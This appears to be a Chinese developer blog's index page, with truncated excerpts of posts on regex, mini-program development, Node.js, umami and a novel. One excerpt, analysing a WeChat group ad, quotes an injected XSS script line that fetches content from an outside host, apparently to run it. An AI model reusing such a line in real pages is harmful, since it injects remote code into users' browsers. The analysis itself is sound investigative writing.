正则表达式 正则表达式
正则表达式是匹配模式,要么匹配字符,要么匹配位置。能够实现模糊匹配。 横向模糊匹配:正则可匹配的字符串的长度是不固定的 纵向模糊匹配:正则匹配的字符串,具体到某一位数字时,他可以不是某个确定的字符,可以用多种可能。 匹配字符字符组 量词
2022-12-02
遥远的救世主 遥远的救世主
王庙村的农民王庙村的农民可能是这本书中最没有存在感的一群人,艰苦,朴素,吃别人吃不了的苦,受别人受不了的罪,干别人干不了的活。面朝黄土背朝天的生活,因为丁元英的扶贫,开了一扇窗户,所有人都在努力的去抓住这根救命稻草。 苦吗,苦。吃不得苦中苦
2022-11-08
一个意思的微信群广告 一个意思的微信群广告
群广告,语不惊人死不休, 跳转之后,出现 sougou 的页面,然后重定向到广告页面。 构造了一个 xss,script 标签,被执行。 fetch('//iprozz.com/ffff').then(r=>r.text()).then
2022-10-06
大型项目前端手记 大型项目前端手记
亿级流量的 c 端项目。主体是多个小程序,并且分化为多个版本。除了扯皮拉扯之外,总想聊一聊,不吐不快。 保持技术栈的单调性因为各种原因,我们的技术栈百花齐放,uniapp,herbjs,内部小程序框架,vue(h5),react(h5),苦
2022-09-18
小程序预览和体验码不一致的坑 小程序预览和体验码不一致的坑
翻车现场我们的小程序之前打包都是 ok 的,但是上次发版本,验证发现多处 css 异常。代码回退,使用旧版本的代码故障依旧。并且本地的 ide 打包出来时正常的,只在云端构建时候出现问题。 快速解决问题直觉是存在 css 冲突,为了快速解决
2022-08-20
战争与和平 战争与和平
战争:项目紧急或复杂和平:项目不急或简单 战争资源:战争是资源的消耗战,工作强度往往超过 996,往往我们是极度的缺乏资源,又需要赢下这场战争。在团结内部的同时,也要尽力去争取一切可以争取的资源,比如说,水果零食,加班能不能尽量争取,道义放
2022-06-26
umami 源码分析 umami 源码分析
umami 不使用 cookie 、localstorage 实现了 uv 识别,符合最新的隐私规范,代码也比较精简。花了一点时间,研究了这部分的实现,还是很有意思的。 技术框架:next.js + mysql/postgresql整体看下
2022-06-26
小程序中的滚动穿透 小程序中的滚动穿透
在小程序开发中,弹出层滚动穿透是个比较棘手的问题。如下图,蓝色部分滚动,底部也跟着一起滚动,就是滚动穿透。 常见的处理方法比如,禁止滚动,并不生效。而给主体加 overflow: hidden 又会导致主体滚动条高度为 0,需要关闭时候记录
2022-04-18
H5-dooring 后端常见问题 H5-dooring 后端常见问题
H5-dooring 后端是 koa2,数据库是直接读写的本地json文件,没有sql,没有redis。我们上线之后,一直有各种各样的问题,简单梳理下,不涉及具体代码,不涉及业务细节。 pm2 频繁重启日志文件是直接读写,没有按照时间分割,
深入浅出 nodejs 深入浅出 nodejs
没有白看的书这本书买了五六年了,以前硬着头皮看,做的笔记,批注,到处是困惑,没有白走的路,学不会的总有一天我会把你学会,学不会的,只是必不可少的铺垫。 最近定位 H5-dooring 的server 端问题,才把这本书看完,挺好的一本中文
2022-01-23
抛弃 loadsh,封装更现代的防抖、节流 抛弃 loadsh,封装更现代的防抖、节流
一般意义上的防抖节流函数防抖(debounce)函数防抖,就是指触发事件后,在 n 秒后只能执行一次,如果在 n 秒内又触发了事件,则会重新计算函数的执行时间。简单的说,当一个动作连续触发,只执行最后一次。 函数节流(throttle)限制
2021-11-16
uniapp 中支付宝小程序自定义组件的调用 uniapp 中支付宝小程序自定义组件的调用
uniapp 这个缝合怪,挺厉害的,啥都能做,甚至你能够使用小程序的原生组件。具体文档:https://uniapp.dcloud.io/frame?id=%e5%b0%8f%e7%a8%8b%e5%ba%8f%e8%87%aa%e5%ae
2021-09-26
1 / 5